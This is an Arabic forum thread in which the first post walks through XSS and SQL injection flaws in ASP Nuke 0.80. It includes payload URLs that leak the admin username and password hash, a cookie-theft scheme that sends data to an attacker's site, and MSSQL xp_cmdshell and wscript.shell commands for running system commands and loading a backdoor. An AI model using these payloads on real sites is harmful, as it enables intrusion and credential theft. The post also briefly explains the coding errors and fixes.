منتديات اصحاب كول 

--الوصول السريع للأقسام--

الاغانى والفيديو كليبتحميل الافلامغرائب وطرائف الصورللبنــات فـقـطمقاطع البلوتوثفضـائح فـنـيـه
صور الفنانين والجميلاتكلام في الممنوعالتعارف والاهداءاتتحميل البرامجالنكت والفرفشهالمصــارعة
جرائم وقتل وذبحصور السياراتالهكرز والإختراقالصور و الخلفياتالمسابقاتتحميل العاب
مقاطع الفيديو المضحكة اخبار الرياضةالقسم الإسلامىبرامج والعاب الجوالكلمات في الحباخبار الفنانين

دردش مع اصحاب كول واتعرف على احلى بنات وشباب الان!!!!

 

 

ملحوظه هامة:- لايمكنكم المشاركه وقراءه المواضيع مع اصحاب كول الا بعد الإشتراك بالمنتدي

    ::للإشتراك بالمنتدي اضغط هنا:: (من فقد عضويته او الباص ورد الخاص به هنا )

 

 غرائب و عجائب

صور مخله بالاداب ومثيره    -    كمال أجسام السيدات بالصور أتفرجوا علي الحلاوة       -  صور الفنانات بعد عمليات التكبير ف ال .....

    شاهد الان من هنا اجمل واحدث صور نانسى وهيفاء واليسا ومريام فارس    فسر الان حلمك معنا

جرائم و عنف

المراهقات في الجيش الاسرائيلى بالصور  -  صور للكبار فقط  -  صور نساء عربيات في وضع يخجل منه كل عربى
احدث الفيديو كليب العربى والاجنبى - احلى اهداف كرة القدم - تحميل المسلسلات - اغانى سعودية


العودة   منتديات اصحاب كول > =----> ( الهـكـرز والإختــراق ) <----= > اختراق المواقع

رد
 
أدوات الموضوع طرق عرض الموضوع
  #1  
قديم 05-11-2007, 04:37 PM
صورة رمزية AdMiN.Mr.NiCoLaS
AdMiN.Mr.NiCoLaS AdMiN.Mr.NiCoLaS غير متصل
مــشـرف عــام ســابــق باصحــاب كــول
 
تاريخ التسجيل: Aug 2004
الإقامة: WheRe NooO LaNd
المشاركات: 17,605
افتراضي دراسة الثغرات المتعدده لـ Asp Nuke 0.80 وتحليلها



في هذا الموضوع سنأخذ فكرة عن الثغرات الأمنية في تطبيقات الويب
بداية بثغرات cross site scripting او XSS ومن ثم ثغرات الحقن SQL INJECTION
وسنعرف في هذا الموضوع كيف يقع مبرمج التطبيق في الخطأ البرمجي وكيف يستغل
الخطأ من قبل الهكر لإختراق التطبيق ومن ثم السيطرة على الموقع او تطبيق الويب بالكامل!!
-
إخترنا في هذا الموضوع تطبيق او ويب أبلكيشن معروف وهي المجله الشهيرة ASP NUKE 0.80
تستطيع الحصول على نسخه من المجلة هنا - الإصدار 0.80
ftp://softlinks.ru/s168482/AspNuke_0.80.zip

بعد تخزين المجلة ,, تستطيع متابعة الموضوع إما بتتبع الكود المصدري او بتثيت المجلة في سيرفر
محلي على الجهاز . نبدأ في الموضوع:
تجد المجلة في ملف مضغوط بعد فك الضغط في مجلد جديد تنتج الملفات التالية
module ,img ,docs ,css ,about ,icon ,lib ,features ,js ,setup ,themes
-
1- الثغرة الأولى cross site scripting في صفحة إختيار اللغة
توجه للمسار module/support/language ثم إختر الصفحه select.asp
في البداية عمل هذه الصفحه تحديد اللغة عن طريق الكود بهذا الشكل select.asp?code=en
إذا كانت اللغة متوفرة بشكل تلقائي يتم تحويل التطبيق الى اللغه التي تم إختيارها
وإذا لم تكن موجودة يقوم التطبيق بعرض خطأ او رساله تخبرك بعدم توفر اللغة
لاحظ كود الصفحه:
http://www.jaascois.com/research/366...select_asp.txt

يبدأ الكود بإستقبال الطلب من المتصفح بهذه التعليمه sLangCode = steForm("code")
ملاحظة الداله steForm هي داله معرفه في التطبيق وليست قياسيه في لغه asp
لو تلاحظ في بدايه الصفحه الإضافه التاليه
<!-- #include file="../../../lib/site_lib.asp" -->

توجه للملف site_lib.asp وستجد تعريف الداله steForm تمثل Request.QueryString بهذا الشكل


كود:
steForm = Request.QueryString(sField)
المهم بعد إستقبال الطلب يتم المقارنه بإستخدام if ,then ثم يتم طلب إستعلام SELECT
لرؤية إذا كانت اللغة متوفرة ,, المهم إذا كانت متوفرة يتم تغيير ******s اللغة الجديدة
ثم التوجه لها. وهذا لا يهمنا
-
إنزل إلى أسفل الكود بمعنى تجاوز كل أكواد مقارنه اللغه if..then..else
في آخر جمله else ستجد هذا الامر:

كود:
sErrorMsg = steGetText("Invalid language code specified") & " (""" & sLangCode & """)"
والمعنى واضح وهو: إذا لم تجد اللغه بمعنى لم ينفذ اي بلوك مقارنه if
يقوم التطبيق بتحميل رساله الخطأ وهي عدم " توفر اللغه " في المتغير sErrorMsg
ضع مئة خط تحت إسم المتغير sErrorMsg
لاحظ الجمله sErrorMsg تساوي رساله خطأ وهي عدم توفر اللغه + اللغه التي تم طلبها sLangCode
بتوضيح أكثر ,,إذا اخترنا لغه صينيه بهذا الشكل select.asp?code=cn
سيكون المتغير sErrorMsg = "Invalid language code specified" + cn
-
وبعد هذه الداله ب3 اسطر لاحظ التعليمه
<b class="error"><%= sErrorMsg %></b>
بمعنى إطبع في المتصفح رساله الخطأ sErrorMsg
-
أكيد لحسن نيه المبرمج يرى انه شيء طبيعي 100% سينفذ التطبيق وبنجاح !!! ولكن دعونا نرى وجه الهكر
في هذا الموضع ,, نرى ان التطبيق لا يتحقق من البارمتر الممرر select.asp?code=cn والبارمتر هو code
ماذا لو نفذ الهكر هذا الطلب select.asp?code=xxxxHackxxxx
بكل بساطة سيطبع التطبيق في المتصفح الرساله Invalid language code specified xxxxHackxxxx
ماذا لو تقدم الهكر خطوة وطبع كود html بهذا الشكل select.asp? code=<img src=http://www.x.com/hack.gif>
بكل بساطه سينفذ التطبيق الطلب ويقوم بإظهار صوره الهكر الرهيبه في صفحه الموقع
وهنا نستطيع إدخال اي سكربت متطور اكثر مثل الجافا سكربت وvb سكربت ونستخدمها
لإظهار ******s الذي يدخل الصفحه , وبما اننا إستطعنا تنفيذ اي سكربت تسمى هذه الثغرة cross site scripting
وتستخدم غالبا في سرقه الكوكيز الخاص بمدير الموقع ؟ عن طريق إرسال إيميل يحتوي على رابط الصفحه المصابه
لمدير الموقع ويمرر إلى الرابط كود جافا يقوم بطباعه أمر نقل التنفيذ من موقع المدير
إلى موقع انت تحدده ,, بعد تنفيذ النقل إذهب الى الموقع التي حددته وإفتح ملف log لتجد بيانات المدير
الذي إستقبل الرساله مثل ip ونوع المتصفح و****** خزن بيانات الكوكيز في جهازك
او عن طريق برامج إرسال الطلبات للسيرفر ...ارسل طلب فتح موقع المدير مع ملاحظة انك اضفت بيانات ******
وعند دخول الصفحه ستتفاجأ بوجود الرساله " مرحبا بك يا مدير ..... " وتستطيع التحكم بالسيرفر
-
وبعد أن إكتشفنا الثغرة وشرحنا طريقه الإستغلال بقي أن نعرف الحلول ,, بكل بساطة الحل هو Disenable html tag
وهو عباره عن سكربت يقوم بالبحث عن اي tag في لغه html بمعنى اي امر بين علامتي <> يمثل امر في html
يقوم بإستبداله او عرض خطأ.
//
ثانياً:- ثغرات حقن الإستعلام في التطبيق SQL INJECTION
لو ركزت أكثر في كود الصفحه السابقه لتحديد اللغه , ستلاحظ وجود ثغره اخرى وهي SQL INJECTION
ولكن لتبسيط الموضوع سنأخذ ثغره اخرى SQL INJECTION وفي مكان آخر
الصفحه التاليه :- module/support/task/detail.asp بها ثغره SQL INJECTION
وهي ثغره خطير للحصول على إسم المستخدم وكلمه المرور لمدير المجلة
-
في الثغره السابقه... قمنا بتحليل الكود ثم إيجاد الخطأ وفي النهايه الإستغلال
اما في هذه الثغره سنعكس الخطوات.. سنبدأ بالإستغلال ثم تحليل الكود

أحد الهكر إكتشف الطريقه التاليه لإظهار إسم المستخدم والباسوورد
إذا نفذت الامر


كود:
http://localhost/module/support/task/detail.asp?taskid=Username--
ستلاحظ طباعه البيانات التاليه على المتصفح


كود:
Error # -2147217913 (0x80040E07)Syntax error converting the varchar value 'admin' to a column of data type int.SELECT tsk.TaskID, tsk.Title, tsk.Comments, usr.FirstName, usr.LastName, pri.PriorityName, sta.StatusName, 0 As CommentCount, tsk.Created FROM tblTask tsk INNER JOIN tblUser usr ON tsk.UserID = usr.UserID INNER JOIN tblTaskPriority pri ON pri.PriorityID = tsk.PriorityID INNER JOIN tblTaskStatus sta ON sta.StatusID = tsk.StatusID WHERE tsk.TaskID = Username-- AND tsk.Active <> 0 AND tsk.Archive = 0
لاحظ السطر الثاني إسم المستخدم للمدير admin ؟!!!

وإذا نفذت الامر التالي:-


كود:
http://localhost/module/support/task/detail.asp?taskid=Password--
ستلاحظ طباعه البيانات التاليه على المتصفح:-




كود:
Error # -2147217913 (0x80040E07)Syntax error converting the varchar value 'f2349ef3f76a2d980586cb945a1973b****579a9c9411c043 be85583f444e015' to a column of data type int.SELECT tsk.TaskID, tsk.Title, tsk.Comments, usr.FirstName, usr.LastName, pri.PriorityName, sta.StatusName, 0 As CommentCount, tsk.Created FROM tblTask tsk INNER JOIN tblUser usr ON tsk.UserID = usr.UserID INNER JOIN tblTaskPriority pri ON pri.PriorityID = tsk.PriorityID INNER JOIN tblTaskStatus sta ON sta.StatusID = tsk.StatusID WHERE tsk.TaskID = Password-- AND tsk.Active <> 0 AND tsk.Archive = 0
ستلاحظ كلمه المرور f2349ef3f76a2d980586cb945a1973b****579a9c9411c043b e85583f444e015
بتشفير SHA ,, تتوفر برامج كثيره لكسر هذا االنوع من التشفير

وبهذه البساطه يستطيع اي واحد ولو كان مايعرف يبند الكمبيوتر يقدر يخترق الموقع ؟!
ونحن لا نريد ان نتعلم القص والصق للإختراق ,, مايهمنا سبب حدوث الخطأ والثغرة لتجنبها


نبدأ ونتوجه للصفحه المصابه .... إفتح detail.asp
تجد الكود هنا
http://www.jaascois.com/research/366...detail_asp.txt

نلاحظ بأن الإستغلال يتم بهذا الشكل detail.asp?taskid=Username
بمعنى إستغلال البارمتر taskid ,,, اول ما تفتح صفحه الكود لاحظ في بدايه الصفحه
اول إستعلام SQL هل تجد به اي خطأ؟؟ برمجياً 100% صح ولكن أمنياً يعني كارثه
لاحظ الصوره للتوضيح اكثر:-


دائماً يحذر خبراء الأمن من إستعمال البارمتر الممرر للتطبيق كما هو
قبل ان تدخل البارمتر الذي تستلمه لازم يمر بكود تشييك عليه ماذا يحتوي وكم حجمه

وفي النهايه لا تعتقد ان خطورة ثغرات sql تؤثر فقط على تطبيق الموقع وإنما
تؤثر على أمن النظام بالكامل,, تستطيع تنفيذ اوامر النظام مثلاً exec master..xp_cmdshell 'dir'
و
declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run',null,'cmd.exe'

وتستطيع تنفيذ اوامر أخطر بإستخدام ابسط الادوات مثل sqlcomm.rar
http://www.xfocus.net/tools/200412/sqlcomm.rar

كما تلاحظون تم تحميل باكدوور عكسي للسيطره على سيرفر الموقع



جميع الحقوق محفوظه لمكتشف الثغرات وكاتب الموضوع

jass
من الفريق العربي البرمجه

__________________
Microsoft Certified IT Professional

M.C.I.T.P



MS 70-620 - Passed

MS 70-640 - Passed
MS 70-642 - Passed
MS 70-643 - Passed
MS 70-647 - Passed

so0o0o0o0oN My fInaL baCk

Let Me LivE iN peace
((((تارك عالمكم ,,,,,))))
تــ ــحــ ــيــاتــى as7apc0oL


هتعمل ايه لو نمت يوم وصحيت ... ولاقيت


اقرب ماليك فى الدنيا مش حواليك


هوه انت مين اللى عمل كدا فيك ...




مش انت ولا فى حد غمى عينيك

رد باقتباس
  #2  
قديم 06-03-2007, 02:35 PM
صورة رمزية احمد شيكو ملك الشات
احمد شيكو ملك الشات احمد شيكو ملك الشات غير متصل
عضـــو نشيــــط+عضـــو متميز+ عضــو فضــى+عضو زهبى + عضو ماسى
 
تاريخ التسجيل: Apr 2007
المشاركات: 924
افتراضي

مشكووووووووووورررررررررررررر
رد باقتباس
  #3  
قديم 08-02-2008, 02:23 PM
dmar@7ob dmar@7ob غير متصل
عضــــو جـــديد
 
تاريخ التسجيل: Dec 2007
المشاركات: 3
افتراضي

مشكور على الشرح روعه في استغلال ثغرات sqlالحقن
رد باقتباس
رد

أدوات الموضوع
طرق عرض الموضوع

تعليمات المشاركة
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is متاحة
رمز [IMG] متاحة
رمز HTML معطلة



الساعة الآن: 12:40 PM.

Tags:-افلام,اغانى,تحميل اغانى,تحميل افلام,تحميل فيلم,تحميل اغنية,الجديد,الجديدة,تحميل البوم,طرب,صور,صور الفنان,صور الفنانة,موقع فيلم,العاب,لعبة,تحميل لعبة,برنامج,تحميل برنامج,رقص,فيديو كليب,تحميل كليب,تحميل فيديو,بلوتوث,صور الفنانة,فضائح,فضيحة,فضائح فنية,صور الفنانات

مواقع دردشةمواقع افلامرسائل مواقع بناتصورتحميل العاب بناتمواقع اغانىمواقع اسلامية افلام عربية
2009اقسام الدليلمواقع صورمواقع برامجمواقع العابمواقع فيديومواقع شاتدليل مواقع افلام اجنبية

Powered by vBulletin V3.8.4. Copyright ©2000 - 2009